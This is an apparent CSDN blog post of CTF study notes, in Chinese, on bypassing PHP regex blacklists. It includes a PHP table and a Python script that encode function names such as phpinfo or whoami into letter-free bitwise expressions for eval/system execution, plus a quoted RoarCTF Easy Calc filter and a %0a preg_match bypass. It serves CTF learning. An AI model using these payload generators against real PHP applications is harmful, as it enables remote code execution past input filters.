【Flag】-PHP-正则绕过

本文详细介绍了字符集合、位运算在PHP和Python中的应用,用于绕过正则表达式限制。作者通过实例展示了如何使用位运算生成特定字符串,如phpinfo,并提供了PHP和Python的脚本。同时,文中还提到了字符插入、测试靶场及反思,强调了字符变换在解决CTF挑战中的实用性和乐趣。
摘要由CSDN通过智能技术生成

最近RCTF分站赛要开始了,梳理一些知识。梳理的过程中可能会怀疑 字符变换 的实用性,我个人难以避免,但即使是不打CTF,细致地观察和演练字符集,想必本身就是一件幸福地事吧。唯一要注意的点,不要为了做题去看/观察/揣摩,把它看作一个挑战和游戏,或者说字符集研究的一部分。

字符集合

通用字符集合

结合题目calc的黑名单进行梳理:

总字符regexp黑名单 /im模式
字母[a-z]× 不可用
数字[0-9]√ 可用
8种运算符只有 ^ 不可用
3种比较符
3个引号×
3个括号分隔符只有 [] 不可用
3个句子分隔符只有 , 不可用
转义符\×
常见3个注释符
所有空白符\s空格、制表符、换页符等等都不可用
换行和tab
扩展ascii编码 [\x7f-\xff]×
PHP符号regexp黑名单 /im模式
变量符×
下划线×

在这里插入图片描述

32个不可打印字符和转义字符

Url编码和Ascii编码的关系
Url编码是Ascii编码的十六进制格式,加上一个标识符 %。这里针对Ascii的 [0-31 ]不可打印字符,以Url编码的格式进行展开。

所有的ASCII码都可以用 \ 加数字(一般是8进制数字)来表示,如果 % 在黑名单里,可以尝试使用Ascii码的八进制格式。

重点字符十进制用途
%000C语言的字符串结束符号,在PHP中可以使用00截断过check
%099水平制表符,一般等价表示为 \t ,默认显示4或8个空格,替换空格
%0a10换行键,一般等价表示为 \n ,在PHP中可以插入换行过check
%0b11垂直制表符
%0c12换页键
%0d13回车键

转义字符

C语言定义了一些字母前加 \ 来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等,就称为转义字符,因为后面的字符,都不是它本来的ASCII字符意思了。

一般情况下,在后台编程时使用 转义字符 ,在 Web 端当然使用 Url 编码,所以过check以 Url 编码的不可见字符为主。

正则表达式的 \s 是指空白,包括空格、换行、tab缩进等所有的空白。

0x01 位运算

基本概念

参考 异或运算怎么算_位运算

位运算是直接对整数在内存中的二进制位进行操作,由于位运算直接对内存数据进行操作,无需转成十进制,因此使用位运算的处理速度是很快的。

基本的位运算有与、或、异或、取反、左移、右移这6种。

6个基本位运算-
与 &只有当两位都是 1 时结果才是 1,否则为 0
|顾名思义
异或 ^两个位相同则为 0,不同则为 1
取反 ~0 则变为 1,1 则变为 0
左移 <<扩大2的n次方
右移 >>缩小2的n次方

PHP字符变换(绕过正则)

1. 与运算和或运算(无字母,用到数字)

参考 RCTF2020 复现RCTF 2020 Writeup
参考 无字母数字webshell之提高篇

流程图

在这里插入图片描述
流程图代码

graph LR
A1[整数1/0]
A2[整数0]
B[字符串 INF1]
A1-->|小括号和连接符.|B
A2-->|小括号|B
C[字母 I]
B-->|大括号截取字符串首位|C
D[指定字符组合如phpinfo]
C-->|与运算和或运算|D
生成指定字符串的PHP脚本(payload无效)(更正:有效)

本地测试用例,操作系统Win,版本使用php7.0.9和7.1.9

通过本地测试和 buu 题目测试,发现该脚本生成的payload无法执行。(要把phpinfo生成的字符串用()包含,如使用(result)()进行URL编码则能成功执行)

输入命令落脚函数结果
whoami@eval"(system(".$payload.");" )执行成功
whoami)@eval(“system(”.$payload.";")没有解析 ) ,报语法错误
phpinfo();@eval($payload)语法错误unexpected end of file
(phpinfo)();@eval($payload)要手动加()()才会执行成功
对照测试@eval("(phpinfo)();");执行成功,推测转换脚本有问题

经过测试,发现该 PHP 脚本目前转换 () 可能有误,但可以成功转换 [a-z]。(更正:脚本无误,可以执行成功)

<?php
$cmd = "phpinfo";#要运行的命令

# $cmd = "whoami";              # 构造payload="whoami",成功执行whoami
# $cmd = "whoami);";            # 构造payload="whoami);",报语法错误,unexpected end of file, expecting ',' or ')'
# $cmd = "whoami)";             # 构造payload="whoami)",仍报错,说明payload的 ) 没有被解析
# $cmd = "(phpinfo)();";        # 构造payload="(phpinfo)();",仍报错,推测脚本对 () 的转换可能有误
$fin="";
$tables=
    [
        "9" => "(((9).(0)){0})",
        "8" => "(((8).(0)){0})",
        "7" => "(((7).(0)){0})",
        "6" => "(((6).(0)){0})",
        "5" => "(((5).(0)){0})",
        "4" => "(((4).(0)){0})",
        "3" => "(((3).(0)){0})",
        "2" => "(((2).(0)){0})",
        "1" => "(((1).(0)){0})",
        "0" => "(((0).(0)){0})",
        "~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
        "}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
        "|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
        "z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
        "x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
        "v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
        "u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
        "t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
        "r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
        "p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
        "n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
        "m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
        "l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
        "h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
        "f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
        "e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
        "d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
        "`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
        "O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
        "N" => "(((0/0).(0)){0})",
        "M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
        "K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
        "I" => "(((1/0).(0)){0})",
        "H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
        "G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
        "F" => "(((1/0).(0)){2})",
        "E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
        "C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
        "A" => "(((0/0).(0)){1})",
        "@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
        "?" => "((((2).(0)){0})|(((-1).(1)){0}))",
        ">" => "((((6).(0)){0})|(((8).(0)){0}))",
        "=" => "((((0).(0)){0})|(((-1).(1)){0}))",
        "<" => "((((4).(0)){0})|(((8).(0)){0}))",
        ";" => "((((2).(0)){0})|(((9).(0)){0}))",
        ":" => "((((2).(0)){0})|(((8).(0)){0}))",
        "/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "-" => "(((-1).(1)){0})",
        "," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
        "+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        ")" => "((((9).(0)){0})&(((-1).(1)){0}))",
        "(" => "((((8).(0)){0})&(((-1).(1)){0}))",
        "'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "%" => "((((5).(0)){0})&(((-1).(1)){0}))",
        "$" => "((((4).(0)){0})&(((-1).(1)){0}))",
        "#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        '"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "!" => "((((1).(0)){0})&(((-1).(1)){0}))"
    ];
for($i=0;$i<strlen($cmd);$i++) {
    $fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1)."\n";
$payload = substr($fin,0,strlen($fin)-1);

# @eval("system(".$payload.");");   # 执行成功,传入字符串 whoami
# @eval("system(".$payload);        # 执行失败,传入字符串 whoami);
# @eval("system(".$payload.";");    # 执行失败,传入字符串 whoami)

# 对照测试
# @eval("(phpinfo)();");            # 执行成功
# @eval($payload);                  # 执行失败,传入字符串 (phpinfo)();
?>
生成指定字符串的Python脚本(自己编写)

花费一下午时间,自己逐步梳理测试编写了一个Python脚本来完成 字符变换 ,起因是测试PHP脚本发现不对,直到写完Python脚本后发现,执行动态函数需要用 () 把生成的payload包含起来。

把编写的Python脚本保存到脚本库。

# -*- coding:utf-8 -*-

from urllib import parse    # URL编码

# 原始字符
origin_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']     # 原始字符

origin_ascii = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70]                 # 方便计数,可有可无

origin_dic = {                  # 第一层映射关系
    '0': "((1/0).(0)){3}",	    # '0'属于二级表示,最终都要转换成可打印字符的一级表示
    '1': "((1/0).(1)){3}",
    '2': '((1/0).(2)){3}',
    '3': '((1/0).(3)){3}',
    '4': '((1/0).(4)){3}',
    '5': '((1/0).(5)){3}',
    '6': '((1/0).(6)){3}',
    '7': '((1/0).(7)){3}',
    '8': '((1/0).(8)){3}',
    '9': '((1/0).(9)){3}',
    'I': '((1/0).(0)){0}',
    'N': '((1/0).(0)){1}',
    'F': '((1/0).(0)){2}',
}


# 逐步收集ascii可打印字符和相对的映射关系

result_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']

result_ascii = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70]                 # 方便计数

result_dic = {
    '0': "((1/0).(0)){3}",
    '1': "((1/0).(1)){3}",
    '2': '((1/0).(2)){3}',
    '3': '((1/0).(3)){3}',
    '4': '((1/0).(4)){3}',
    '5': '((1/0).(5)){3}',
    '6': '((1/0).(6)){3}',
    '7': '((1/0).(7)){3}',
    '8': '((1/0).(8)){3}',
    '9': '((1/0).(9)){3}',
    'I': '((1/0).(0)){0}',
    'N': '((1/0).(0)){1}',
    'F': '((1/0).(0)){2}',
}


# 最终生成的映射字典,有47个键,数字字母26+10=36个,还有11个是:运算符~|   分隔符:;{}?@ 比较符<>=
final_dic = {
    '0': '((1/0).(0)){3}',
    '1': '((1/0).(1)){3}',
    '2': '((1/0).(2)){3}',
    '3': '((1/0).(3)){3}',
    '4': '((1/0).(4)){3}',
    '5': '((1/0).(5)){3}',
    '6': '((1/0).(6)){3}',
    '7': '((1/0).(7)){3}',
    '8': '((1/0).(8)){3}',
    '9': '((1/0).(9)){3}',
    'I': '((1/0).(0)){0}',
    'N': '((1/0).(0)){1}',
    'F': '((1/0).(0)){2}',
    'y': '(((1/0).(0)){3})|(((1/0).(0)){0})',
    '~': '(((1/0).(0)){3})|(((1/0).(0)){1})',
    'v': '(((1/0).(0)){3})|(((1/0).(0)){2})',
    'w': '(((1/0).(1)){3})|(((1/0).(0)){2})',
    ':': '(((1/0).(2)){3})|(((1/0).(8)){3})',
    ';': '(((1/0).(2)){3})|(((1/0).(9)){3})',
    '{': '(((1/0).(2)){3})|(((1/0).(0)){0})',
    '<': '(((1/0).(4)){3})|(((1/0).(8)){3})',
    '=': '(((1/0).(4)){3})|(((1/0).(9)){3})',
    '}': '(((1/0).(4)){3})|(((1/0).(0)){0})',
    '>': '(((1/0).(4)){3})|((((1/0).(2)){3})|(((1/0).(8)){3}))',
    '?': '(((1/0).(4)){3})|((((1/0).(2)){3})|(((1/0).(9)){3}))',
    'O': '(((1/0).(0)){0})|(((1/0).(0)){1})',
    'H': '(((1/0).(0)){0})&(((1/0).(0)){1})',
    '@': '(((1/0).(0)){0})&(((1/0).(0)){2})',
    'A': '(((1/0).(0)){0})&((((1/0).(1)){3})|(((1/0).(0)){2}))',
    'J': '(((1/0).(0)){1})&((((1/0).(2)){3})|(((1/0).(0)){0}))',
    'L': '(((1/0).(0)){1})&((((1/0).(4)){3})|(((1/0).(0)){0}))',
    'B': '(((1/0).(0)){2})&((((1/0).(2)){3})|(((1/0).(0)){0}))',
    'D': '(((1/0).(0)){2})&((((1/0).(4)){3})|(((1/0).(0)){0}))',
    'x': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(0)){3})|(((1/0).(0)){1}))',
    'p': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(0)){3})|(((1/0).(0)){2}))',
    'q': '((((1/0).(0)){3})|(((1/0).(0)){0}))&((((1/0).(1)){3})|(((1/0).(0)){2}))',
    'z': '((((1/0).(0)){3})|(((1/0).(0)){1}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
    '|': '((((1/0).(0)){3})|(((1/0).(0)){1}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
    'r': '((((1/0).(0)){3})|(((1/0).(0)){2}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
    't': '((((1/0).(0)){3})|(((1/0).(0)){2}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
    's': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(2)){3})|(((1/0).(0)){0}))',
    'u': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(4)){3})|(((1/0).(0)){0}))',
    'G': '((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
    'K': '((((1/0).(2)){3})|(((1/0).(0)){0}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
    'C': '((((1/0).(2)){3})|(((1/0).(0)){0}))&(((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1})))',
    'M': '((((1/0).(4)){3})|(((1/0).(0)){0}))&((((1/0).(0)){0})|(((1/0).(0)){1}))',
    'E': '((((1/0).(4)){3})|(((1/0).(0)){0}))&(((((1/0).(1)){3})|(((1/0).(0)){2}))&((((1/0).(0)){0})|(((1/0).(0)){1})))',


}

# 通过原始字符的或运算,收集其它字符的映射关系
def huo(result_list, result_dic, result_ascii):
    # 经检查,没问题
    for s in result_list:
        for s1 in result_list:
            data = chr(ord(s) | ord(s1))    # 计算
            if (data not in result_list) and (ord(data) < 127) and (ord(data) > 31) and (ord(data) not in result_ascii):

                # 打印键值,即一级表示
                for name in result_dic.keys():
                    if s == name:
                        temp = "(" + result_dic[name] + ")|"

                for name in result_dic.keys():
                    if s1 == name:
                        temp += "(" + result_dic[name] + ")"
                result_dic[data] = temp


                result_ascii.append(ord(data))
                result_list.append(data)


def yu(result_list, result_dic, result_ascii):
    # 通过原始字符的或运算,收集其它字符的映射关系
    for s in result_list:
        for s1 in result_list:
            data = chr(ord(s) & ord(s1))
            if (data not in result_list) and (ord(data) < 127) and (ord(data) > 31) and (ord(data) not in result_ascii):

                # 打印键值,即一级表示
                for name in result_dic.keys():
                    if s == name:
                        temp = "(" + result_dic[name] + ")&"

                for name in result_dic.keys():
                    if s1 == name:
                        temp += "(" + result_dic[name] + ")"
                result_dic[data] = temp
                result_dic[data] = temp  # 把映射关系添加到字典
                # print(data, result_dic[data])
                # print()

                result_ascii.append(ord(data))
                result_list.append(data)


def show_letters(result_asicii):        # 查看当前已建立的映射关系中,有哪些字母
    result_ascii.sort()

    for x in result_ascii:
        if (x>64 and x<91) or (x>96 and x<123):
            print(chr(x), end=" ")


def show_dic(result_dic):
    for x in result_dic.keys():
        print("'" + x + "': ", end="")
        print("'" + result_dic[x], end="',")
        print()


def trans(cmd_string, final_dic):
    result = ""
    print(cmd_string)
    for single in cmd_string:
        for name in final_dic.keys():

            if single == name or ord(single)-32 == ord(name):
                result += "(" + final_dic[name] + ")."

    return result.strip(".")


if __name__ == "__main__":
    # huo(result_list, result_dic, result_ascii)    # 测试发现,输入原始字符集,通过或运算只能从13扩充到26
    # yu(result_list, result_dic, result_ascii)     # 再使用与运算,扩充到47个字符的映射关系
    cmd = "phpinfo"
    result = trans(cmd, final_dic)
    print(result)
    print(parse.quote(result))                      # 执行成功

'''
测试成功,成功执行(phpinfo)()

遇到的bug:
(1)运算符的执行顺序问题。在每次执行运算时,为运算符左右两边的表达式添加小括号。
(2)执行动态函数的格式:(phpinfo)(),所以要想执行phpinfo,还要对result进行处理:(result)()
(3)URL编码:浏览器会对非数字字母的字符进行URL编码,而hackbar和url地址栏提交会跳过浏览器,所以要自行URL编码。
'''
Python脚本编写过程

1.准备原始字符

# 原始字符
origin_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']     # 原始字符

ascii_origin = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70]                 # 方便计数,可有可无

origin_dic = {}                  # 第一层映射关系

# 逐步收集ascii可打印字符和相对的映射关系

result_list = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'I', 'N', 'F']     

ascii_result = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 73, 78, 70]                 # 方便计数

result_dic = {}

2.使用原始字符进行或运算 | ,把新得到的字符添加到列表,并把 映射关系 添加到字典。再进行与运算 &。此时发现字典里有47个字符,查看是否包含26个字母,如果不区分大小写则字母齐全。

3.输入指定字符串,把其转换成无字母的字符串。

4.测试:对result进行URL编码,然后payload=(result)(),执行成功。

2. 异或(无数字和字母)

一些不包含数字和字母的webshell - Phith0n师傅

3. 取反(无数字和字母,需要汉字)

一些不包含数字和字母的webshell - Phith0n师傅

PHP命名规范之一:变量名称必须以字母或下划线开头,参考 php对变量命名的规范

0x02字符插入

0x03

0x04 落脚函数

0x05 测试靶场

正则绕过总结

1.[RoarCTF 2019]Easy Calc,主要check源码如下

$str = $_GET['num'];
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', "`", '\[', "\]","\$", '_', "\\\\",'\^', ","];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . "/im", $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');

2.表达式:preg_match(’/^flag$/i’, $c) && $c !== ‘flag’)
翻译:字符要以 flag 开头 和(还是或)结尾,但不能强等于 flag
本地测试绕过:$c=flag%0a

0x04 反思

参考

RCTF2020 复现

RCTF 2020 Writeup

一些不包含数字和字母的webshell - Phith0n师傅

无字母数字webshell之提高篇

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值